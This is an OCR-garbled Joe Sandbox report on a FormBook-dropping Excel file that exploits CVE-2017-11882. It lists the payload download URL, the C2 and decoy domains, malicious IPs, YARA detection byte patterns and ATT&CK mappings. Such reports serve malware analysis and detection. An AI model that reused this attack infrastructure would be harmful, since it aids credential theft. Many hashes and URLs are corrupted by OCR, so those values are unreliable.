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Windows Analysis Report REMITTANCE ADVICE.xlIsx

Sigma detected: Droppers Exploiting...

wES HCR' HCA'
do B VW

. . System process connects to networ
Most interesting Screenshot: 4 P

Overview
General Information Detection Signatures Classification
Sample REMITTANCE
Name: ADVICE.xlsx MALICIOUS Found malware configuration
Analysis ID: 528736 Snort IDS alert for network traffic (e....
MDS: 2caab2292b282e.. Sigma detected: EQNEDT32.EXE c...
SHAL:
86137c31091b15¢. Multi AV Scanner detection for subm...

SHA256: 4c84124c87cd46..

Yara detected FormBook

Malicious sample detected (through ...
Infos: DEQaRQ

o FormBook Sigma detected: File Dropped By EQ...
""""" Score: 100 Antivirus detection for URL or domain
Range: 0-100 Multi AV Scanner detection for dropp...
Whitelisted: false
X Sample uses process hollowing tech...
Confidence: 100%

Process Tree

= System is w7x64

. EXCEL.EXE (PID: 284 cmdline: "C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
. ﬁ EQNEDT32.EXE (PID: 1184 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5:
A87236E214F6D42A65F5DEDAC816AECS)
vbc.exe (PID: 1348 cmdline: "C:\Users\Public\vbc.exe" MD5: 1624595E2354FF7BE9E7DC6DEF2EDGIE)
e [ vbc.exe (PID: 2028 cmdline: "C:\Users\Public\vbc.exe" MD5: 1624595E2354FF7BE9E7DC6DEF2EDGIE)
o [ explorer.exe (PID: 1764 cmdline: C:\Windows\Explorer.EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)
. J explorer.exe (PID: 2992 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)
. cmd.exe (PID: 1228 cmdline: /c del "C:\Users\Public\vbc.exe" MD5: AD7B9C14083B52BC532FBA5948342B98)

= cleanup

Malware Configuration

Threatname: FormBook
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"C2 list": [
"www. ffdcu6twc.xyz/mO7f/"

1,

"decoy": [
"khitthit.club",
"kczu.net"”,
"caylalamar.com",
"{ixiazai.com",
"nickatwoodrealestate.com”,
"006664.com",
"strimsbdltd.com”,
"mykyhouse.com",
"flyestkicks.com",
"campingwithoutcanvas.com”,
"sarishamisen.com”,
"retrorecycling.com”,
"zwdazsjb3cuj.biz",
"lokasennaservices.com”,
"charleswagner.xyz",
"smmbazar.net”,
"rebornmkt.com”,
"clicktoreach.com",
"alendigital.xyz",
"carehrc.com"”,
"locationdevice.online”,
"homevoru.com”,
"electrahealth.clinic”,
"punto-linea-espacio.com”,
"yhxt13800.com",
"pancakeshares.com",
"artdecooutdoor.com”,
"phg-formation.com",
"businessagilitysessions.com”,
"procofun.com”,
"thekatz.group",
"casepoo.com",
"tokofebri.store",
"crippledom.com”,
"online-shrine-1ltd.com",
"jesbon.com",
"ligoom.com",
"odonofally.quest",
"tender.guru",
"payments-gate-325r.xyz",
"bfcmtld.com",
"scoocs.info",
"welderstexas.com",
"eastendfinances.com”,
"bohoglamburlesque.com”,
"paijafame.net”,
"digitallghtning.com”,
"refreshpor.xyz",
"luly-boo.com",
"enchantedroses-shop.com”,
"victorrialand.com",
"kenzivenum.com",
"protokolavukatlik.com",
"berrymojito.com”,
"empireexteriorservices.com”,
"pushaoeel -kouhu-bunan7266.com",
"travellerbugs.com",
"allcources.com”,
"jaszicurls.com",
"rem-youth.com",
"strawberryroom-15.com",
"paramusinsurancebroker.com”,
"jhtz001.com",
"promtgloan.com”

Yara Overview

Memory Dumps

Source Rule

00000005.00000002.527141411.00000000023C JoeSecurity_FormBook
0000.00000040.00020000.sdmp

Copyright Joe Security LLC 2021

Description

Yara detected
FormBook

Author

Joe Security

Strings
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Source

00000005.00000002.527141411.00000000023C

0000.00000040.00020000.sdmp

00000005.00000002.527141411.00000000023C

0000.00000040.00020000.sdmp

00000006.00000000.494095380.00000000095A

5000.00000040.00020000.sdmp

00000006.00000000.494095380.00000000095A

5000.00000040.00020000.sdmp

Unpacked PEs

Source

4.2.vbc.exe.510000.1.raw.unpack

4.2.vbc.exe.510000.1.raw.unpack

4.2.vbc.exe.510000.1.raw.unpack

5.2.vbc.exe.400000.0.unpack

5.2.vbc.exe.400000.0.unpack

Sigma Overview

Copyright Joe Security LLC 2021

Rule Description Author

Formbook_1 autogenerated rule Felix Bilstein -
brought to you by  yara-signator at
yara-signator cocacoding dot

com

Formbook detect Formbook in JPCERT/CC
memory Incident Response

Group

JoeSecurity_FormBook  Yara detected Joe Security
FormBook

Formbook_1 autogenerated rule Felix Bilstein -
brought to you by  yara-signator at
yara-signator cocacoding dot

com
Click to see the 31 entries

Rule Description Author

JoeSecurity_FormBook  Yara detected Joe Security
FormBook

Formbook_1 autogenerated rule Felix Bilstein -
brought to you by  yara-signator at
yara-signator cocacoding dot

com

Formbook detect Formbook in JPCERT/CC
memory Incident Response

Group

JoeSecurity_FormBook  Yara detected Joe Security

FormBook

Formbook_1 autogenerated rule Felix Bilstein -
brought to you by  yara-signator at
yara-signator cocacoding dot

com

Click to see the 28 entries

Strings

e 0x8608:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

.

e o o o

e o o o

e o o o o o

e o o o o o

0x89a2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x146b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

Ox14lal:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxal32:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxlacda:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x16ad9:$sqlite3step: 68 34 1C 7B E1
0x16bec:$sqlite3step: 68 34 1C 7B E1
0x16b08:$sqlite3text: 68 38 2A 90 C5
0x16c2d:$sqlite3text: 68 38 2A 90 C5
0x16b1b:$sqlite3blob: 68 53 D8 7F 8C
0x16c43:$sqlite3blob: 68 53 D8 7F 8C

0x46b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

Ox4lal:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x47b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxac4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

Strings

.

e o o o

e o o o o o e o o o

.

e o o o

e o o o

0x8608:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x89a2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x146b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14lal:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xal32:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxlac4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x16ad9:$sqlite3step: 68 34 1C 7B E1
0x16bec:$sqlite3step: 68 34 1C 7B E1
0x16b08:$sqlite3text: 68 38 2A 90 C5
0x16c2d:$sqlite3text: 68 38 2A 90 C5
0x16b1b:$sqlite3blob: 68 53 D8 7F 8C
0x16c43:$sqlite3blob: 68 53 D8 7F 8C

0x7808:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x7ba2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x138b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x133al:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x139b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x13b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x85ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1261c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9332:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18da7:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox19eda:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00
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Exploits:

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Jbx Signature Overview

@

AV Detection:

Click to jump to signature section

Found malware configuration

Multi AV Scanner detection for submitted file
Yara detected FormBook

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

=

Exploits:

Networking:

=

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

E-Banking Fraud:

=

Yara detected FormBook

] ‘

System Summary:

Malicious sample detected (through community Yara rule)

Boot Survival:

‘]

Malware Analysis System Evasion:

‘]
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HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality: | |

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command and  Netwc
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration Control Effect
Valid Native API Path Process Masquerading os Security Software Remote Archive Exfiltration  Encrypted Eaves
Accounts Interception  Injection B Credential Discovery Services Collected  Over Other Channel Insect
Dumping Data Network Netwo
Medium Comrmr
Default Shared Boot or Boot or Logon Virtualization/Sandbox LSASS Virtualization/Sandbox Remote Clipboard  Exfiltration  Ingress Tool Exploi
Accounts  Modules Logon Initialization Evasion Memory  Evasion Desktop Data Over Transfer Redire
Initialization  Scripts Protocol Bluetooth Calls/¢
Scripts
Domain Exploitation for  Logon Script Logon Script Process Security Process Discovery SMB/Windows Data from Automated Non-Application  Exploi
Accounts  Client (Windows)  (Windows) Injection ﬂ Account Admin Shares Network  Exfiltration Layer Protocol Track
Execution Manager Shared Locati
Drive
Local At (Windows)  Logon Script Logon Script Deobfuscate/Decode  NTDS Remote System Distributed Input Scheduled Application Layer SIM C
Accounts (Mac) (Mac) Files or Information Discovery Component ~ Capture  Transfer  Protocol Swap
Object Model
Cloud Cron Network Network Logon  Obfuscated Files or LSA File and Directory SSH Keylogging Data Fallback Manip
Accounts Logon Script Script Information Secrets Discovery Transfer Channels Device
Size Limits Comm
Replication Launchd Rc.common  Rc.common Software Packing Cached System Information ~ VNC GUI Input  Exfiltration  Multiband Jamm
Through Domain  Discovery Capture  OverC2  Communication  Denial
Removable Credentials Channel Servic

Media

Behavior Graph
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Hide Legend

Behavior Graph
Sample: REMTTANGE ADVCE ik
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Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Dropped Files

Source Detection Scanner Label Link

Unpacked PE Files

Source Detection Scanner Label Link Download
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https://www.virustotal.com/gui/file/4c84124c87cd46ce58a7a8208ad1674c4a270793f9a6158e80fd28f96b3cc844/detection/f-4c84124c87cd46ce58a7a8208ad1674c4a270793f9a6158e80fd28f96b3cc844-1637748073
https://www.metadefender.com/#!/results/file/bzIxMTEyNWpDU3ExM0dOaUg3MS01ekc0aFk/regular/analysis

Source Detection Scanner Label Link Download

URLs

Source Detection Scanner Label Link
http:/fwellformedweb.org/CommentAPI/ 0% URL Reputation safe
http:/fwww.iis.fhg.de/audioPA 0% URL Reputation safe
http:/fwww.clicktoreach.com/m07f/? 0% Avira URL Cloud  safe
8p=5jRPexjhYVA&8pM=igd9ZaB/0LuNZ3khfd1rv5ythTuTDfiv5fhgroetehOkX6jie/kGfA2YImsKDFCRQxq

OnA==

http:/fwindowsmedia.com/redir/services.asp? WMPFriendly=true 0% URL Reputation safe
http:iitreyresearch.net 0% URL Reputation safe
http:/fjava.sun.com 0% URL Reputation safe
http:/fwww.icra.org/vocabulary/. 0% URL Reputation safe
http:/fcomputername/printers/printername/.printer 0% Avira URL Cloud safe
http:/fwww.%s.comPA 0% URL Reputation safe
http:/fwww.yhxt13800.com/mO07f/? 0% Avira URL Cloud safe
8pM=dna2QeGax28GSJIkNz7Uka6j7mpWTPT6ewM6loPSglzIWFgZfz420N2JlykoAty+SKeMdPQ==&8p

=5jRPexjhYVA

http:i/https://www.clicktoreach.com/mO071/? 0% Avira URL Cloud  safe
8p=5jRPexjhYVA&8pM=igd9ZaB/0LuNZ3khfd1rv5ythTuTDfiv5fbgroetehOkX6

http:ifservername/isapibackend.dll 0% Avira URL Cloud  safe
http:/fwww.promtgloan.com/mO071/? 0% Avira URL Cloud safe
8p=5jRPexjhYVA&8pM=fckM7dU8XdB/CBRKAIi8IWZTeVSsZcSnfTINsehECm7QI2Avboj8F204ZiYCfg8

g2yKAcw==

Domains and IPs

Contacted Domains

P Active Malicious Antivirus Detection Reputation

z

)
||3

o

promtgloan.com 34.102.136.180 true false unknown

Contacted URLs

Malicious Antivirus Detection Reputation

z
o
|||| 3
o

hitp://www.promtgloan.com/m07f/? false e Avira URL Cloud: safe unknown
8p=5jRPexjhYVA&8pM=fckM7dU8XdB/CBRKAII8IWZTeVSsZcSnfT9NsehECm7QI2Avhoj8F2
04ZiYCfg8g2yKAcw==

URLs from Memory and Binaries

Copyright Joe Security LLC 2021 Page 11 of 31



Contacted IPs

Public

ASN Name Malicious

34.102.136.180

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Copyright Joe Security LLC 2021

promtgloan.com

United States 15169 GOOGLEUS false

34.0.0 Boulder Opal

528736

25.11.2021

18:11:00

CloudBasic

Oh 9m 55s

false

light

REMITTANCE ADVICE.xIsx
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET
4.6.2)

12

= O O O

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

default

Timeout

MAL
mal100.troj.expl.evad.winXLSX@9/24@4/5
Failed

e Successful, ratio: 35.9% (good quality ratio 34.3%)
e Quality average: 73%

e Quality standard deviation: 28.6%

e Successful, ratio: 92%

e Number of executed functions: 0
Number of non-executed functions: 0

Adjust boot time

Enable AMSI

Found application associated with file extension: .xIsx
Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Scroll down

Close Viewer

Show All

Page 12 of 31



Time Type Description

18:11:39 API Interceptor 63x Sleep call for process: EQNEDT32.EXE modified
18:11:46 API Interceptor 75x Sleep call for process: vbc.exe modified
18:12:15 API Interceptor 225x Sleep call for process: explorer.exe modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name /| URL SHA 256

192.210.173.90 Get hash

23.225.139.107 Get hash

Get hash

Get hash

Get hash

Get hash

Copyright Joe Security LLC 2021

Detection

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Context

192.210.1
73.90/9996
Ivbc.exe

www.ff4c2
myy0.xyz/b62n/?
ON645
BeP=2z8/DF
Bh6WpSpFX6
wB1064sDrP
XSeS0fJoiQ
LvsLUWsNGL
1vZNLvTgut
kyJINZ20PB
S2&vVSdF=C
PGHuRZ

www.ff4cd
hffx.xyz/wtcv/?
fDKDR
P=4hl0tBDH
W6JPsXGO&n
fB=FSi4Qdy
434FsvWx/p
ZkybOEEcsk
gbIDHoUhsc
076HWNDqdZ
M/2zbMwwIN
EqH400RX6t
YdNIiSQ==

www.ff4ci
ib4q.xyz/bs8f/?
of=9rSLDPtHxj9h
fT&3fKPRDU
=|/4TOKVG3
Qbse26kA+T
24blAmCiYa
IE9w6t3mmh
aX7GL32gDI
jPCc3Nx0v53
cYclily9R

www.ffdcu
no43.xyz/fqiq/?
08CT3r=163H3q60
+dI8AtpK+G
poKWAA/R2r
Ug5XwX/Qi8
23haVwXJBX
cEYhtOYyg/
fQMhe0Sr5t
&fB8P=4hMP
VF78e

www.ff4cu
no43.xyz/fqiq/?
G48P-=163H3g60+
dIBAtpK+Gp
oKwWAA/R2rU
g5XwX/Qi82
3haVwXJBXc
EYhtOYyg8z
5PhiMbIM7M
atDHw==&hR
=2dsLLTLhgbjx

Page 13 of 31


https://view.joesandbox.com/analysis/411490/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411490/html/none?idtype=webid
https://view.joesandbox.com/analysis/415642/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415642/html/none?idtype=webid
https://view.joesandbox.com/analysis/406166/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406166/html/none?idtype=webid
https://view.joesandbox.com/analysis/405845/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405845/html/none?idtype=webid
https://view.joesandbox.com/analysis/405802/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405802/html/none?idtype=webid
https://view.joesandbox.com/analysis/404000/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/404000/html/none?idtype=webid

Match Associated Sample Name /| URL SHA 256 Detection Link Context

Get hash malicious Browse o www.ff4cu
no43.xyz/fqiq/?
r8k4gqP=163H3g60
+dIBAtpK+G
poKwWAA/R2r
Ug5XwX/Qi8
23haVwXJBX
cEYhtOYyg8
zAQQCPVeQ8
MatEUA==&e
FN=NfkTrPIOM

Get hash malicious Browse o www.ff4ci
ib4q.xyz/bs8f/?
0ZROKfS=I/4TOKv
G3Qbse26kA
+T24bIAmCi
YalE9w6t3m
mhaX7GL32g
DIjPc3Nx0v
6XMX91b7XU
W&4heD=t0D
PAXUXO0Zi

Get hash malicious Browse o www.ff4c7
5x4e.xyz/n8rn/?
p2M=C
BFdZGnnfRI
NNaHscVQzF
BAW/CZxn+K
gjlwBM+9Mo
YK/ATICk94
Vamz7llwog
D2uBQw9&KI
fLI=1bpx2r
FhipSD4d

Get hash malicious Browse o www.ff4cu
no43.xyz/fqiq/?
Pbu=IbAhXpax&i4
8l=163H3q6
o+dI8AtpK+
GpoKwAA/R2
rUgsXwX/Qi
823havwxJB
XcEYhtOYyg
8/ADAOMMOQq

Get hash malicious Browse o www.ffica
2623.xyz/fs3g/?
Nr=Ya
9NpMQyWUJc
X8KgUZas68
LXNBIV9zz2
Bv5wz28/jq
X+xgkVWAhU
yruGfYELL5
Gi4K/f&8p_
h4N=02Mtah

Get hash malicious Browse o www.ff4c3
dgsp.xyz/rgoe/?
n0ODhB
=jODpGXIXXT-
Tnhk&ON9
=sgGY6EHrU
2/sPIFv65T
/Wb7gB3GGa
gfeDoLJsp7
7UPSIiiIMN1A
ZE[TXMT6P9
bXkgBT15ar
vylnw==

Get hash malicious Browse o www.xIffo
8161z6b239
.Xyz/ons5/?3f-
=dV1HN
RUKQAWmMuUWw
ulpLGpeH60
htmSo50/mC
4LpNZY1M8X
1pV+bTt0zi
ROeFd8wC1X
41C&YR-0=y
48tk6C

Domains

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/403403/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403403/html/none?idtype=webid
https://view.joesandbox.com/analysis/403109/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403109/html/none?idtype=webid
https://view.joesandbox.com/analysis/402145/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/402145/html/none?idtype=webid
https://view.joesandbox.com/analysis/396148/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396148/html/none?idtype=webid
https://view.joesandbox.com/analysis/395752/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395752/html/none?idtype=webid
https://view.joesandbox.com/analysis/385999/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/385999/html/none?idtype=webid
https://view.joesandbox.com/analysis/348135/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/348135/html/none?idtype=webid

ASN

Match
IKGUL-26484US

AS-COLOCROSSINGUS

JA3 Fingerprints

No context

Dropped Files
Match
C:\Users\user\AppData\Local\Temp\nsvE

542.tmp\otav.dll

Copyright Joe Security LLC 2021

SHA 256
Get hash

Get hash
Get hash
Get hash

Get hash

Get hash

Get hash

Get hash
Get hash

Get hash

Get hash

Get hash

Get hash
Get hash

Get hash

Get hash

Get hash
Get hash

Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

>
(]
@
o
3
2
@
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o
3
®
c
a
[

Associated Sample Name / URL SHA 256
Get hash

Detection

malicious

malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection

malicious

Link

Browse

Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse

Context

164.155.21
2.139

164.155.184.27
164.155.184.27

156.249.23
1.178

164.155.21
2.139

156.249.23
1.175

156.249.23
1.108

154.205.138.16

156.238.13
5.198

156.249.23
1.150

156.249.23
1.173

156.231.21
1.181

156.231.181.95

156.249.23
1.116

156.249.23
1.186

156.238.13
5.174

156.251.66.56

156.249.23
1.160

164.155.184.27

156.247.13
9.123

198.46.199.153
23.95.214.111

172.245.112.92
198.23.207.111

107.173.19
1111

198.12.107.117

107.173.22
9.133

198.23.207.36
198.23.251.13
198.12.91.205
107.173.219.26
198.23.207.36
198.46.136.245
198.46.136.245
198.46.199.153
192.227.228.37
198.46.199.153
192.3.121.173
198.12.107.104
107.172.13.149

Context
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https://view.joesandbox.com/analysis/416207/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416207/html/none?idtype=webid
https://view.joesandbox.com/analysis/415874/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415874/html/none?idtype=webid
https://view.joesandbox.com/analysis/414292/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414292/html/none?idtype=webid
https://view.joesandbox.com/analysis/411923/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411923/html/none?idtype=webid
https://view.joesandbox.com/analysis/411856/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411856/html/none?idtype=webid
https://view.joesandbox.com/analysis/410732/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410732/html/none?idtype=webid
https://view.joesandbox.com/analysis/410553/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410553/html/none?idtype=webid
https://view.joesandbox.com/analysis/409137/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/409137/html/none?idtype=webid
https://view.joesandbox.com/analysis/409123/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/409123/html/none?idtype=webid
https://view.joesandbox.com/analysis/409119/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/409119/html/none?idtype=webid
https://view.joesandbox.com/analysis/409116/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/409116/html/none?idtype=webid
https://view.joesandbox.com/analysis/408919/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/408919/html/none?idtype=webid
https://view.joesandbox.com/analysis/408714/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/408714/html/none?idtype=webid
https://view.joesandbox.com/analysis/408037/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/408037/html/none?idtype=webid
https://view.joesandbox.com/analysis/407515/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407515/html/none?idtype=webid
https://view.joesandbox.com/analysis/407513/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407513/html/none?idtype=webid
https://view.joesandbox.com/analysis/407374/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407374/html/none?idtype=webid
https://view.joesandbox.com/analysis/407060/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407060/html/none?idtype=webid
https://view.joesandbox.com/analysis/405802/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405802/html/none?idtype=webid
https://view.joesandbox.com/analysis/404368/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/404368/html/none?idtype=webid
https://view.joesandbox.com/analysis/416369/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416369/html/none?idtype=webid
https://view.joesandbox.com/analysis/416339/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416339/html/none?idtype=webid
https://view.joesandbox.com/analysis/415864/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415864/html/none?idtype=webid
https://view.joesandbox.com/analysis/415862/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415862/html/none?idtype=webid
https://view.joesandbox.com/analysis/415859/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415859/html/none?idtype=webid
https://view.joesandbox.com/analysis/415854/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415854/html/none?idtype=webid
https://view.joesandbox.com/analysis/415776/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415776/html/none?idtype=webid
https://view.joesandbox.com/analysis/415541/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415541/html/none?idtype=webid
https://view.joesandbox.com/analysis/415217/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415217/html/none?idtype=webid
https://view.joesandbox.com/analysis/415110/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415110/html/none?idtype=webid
https://view.joesandbox.com/analysis/415094/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415094/html/none?idtype=webid
https://view.joesandbox.com/analysis/415058/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415058/html/none?idtype=webid
https://view.joesandbox.com/analysis/414925/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414925/html/none?idtype=webid
https://view.joesandbox.com/analysis/414921/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414921/html/none?idtype=webid
https://view.joesandbox.com/analysis/414493/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414493/html/none?idtype=webid
https://view.joesandbox.com/analysis/414393/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414393/html/none?idtype=webid
https://view.joesandbox.com/analysis/414170/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414170/html/none?idtype=webid
https://view.joesandbox.com/analysis/414140/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414140/html/none?idtype=webid
https://view.joesandbox.com/analysis/414136/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414136/html/none?idtype=webid
https://view.joesandbox.com/analysis/414130/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414130/html/none?idtype=webid
https://view.joesandbox.com/analysis/415700/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415700/html/none?idtype=webid

Created / dropped Files

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File Type: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category: downloaded

Size (bytes): 305085

Entropy (8bit):  7.93321683103638

Encrypted: false

SSDEEP: 6144:rGilouWvjgebPleWFVGwWN5QwB0ZmAFd+DnMAlym7a:fzuebPIDVGwWNh3AFPh

MDS5: 1624595E2354FF7BE9E7DC6DEF2ED69E

SHAL: 1DCFAAE594E3690D3FEF5FD4DE855D02E9CBB2A5

SHA-256: 4B50745E74FEA6FAA516B4D46B7COFBE36FDAE2301B76EC940635D033707A2C8

SHA-512: AEBD6E6D28ECABS56E48B037836C2FFC573A8493B576EA3B59AC6932C6E782FCI9AD1IDA7AG7A231830A2C4612C89E24F0E7F483D24080F29D6133D81C7207971
Malicious: true

Antivirus: e Antivirus: Metadefender, Detection: 9%, Browse

e Antivirus: ReversingLabs, Detection: 27%
Reputation: low
IE Cache URL:  hitp://192.210.173.90/70007/vbc.exe

Preview:
1..L.IThis program cannot be run in DOS mode....$..

U588 $..%..8."y..$.7... 1", $.Rich.$

C:\Users\luser\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\16F16FDC.png

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE
File Type: PNG image data, 130 x 176, 8-bit/color RGB, non-interlaced
Category: dropped
Size (bytes): 19408
Entropy (8bit):  7.931403681362504
Encrypted: false
SSDEEP: 384:6L3Vdo4yxL8FNgQ9jYtUO5Zn4tllQ1Yes7D6PhbXngFfZdQTEfn4n6EVPBo6a:2exL8rgQ2tVF4GIQUUZXnYfTs6EJIL
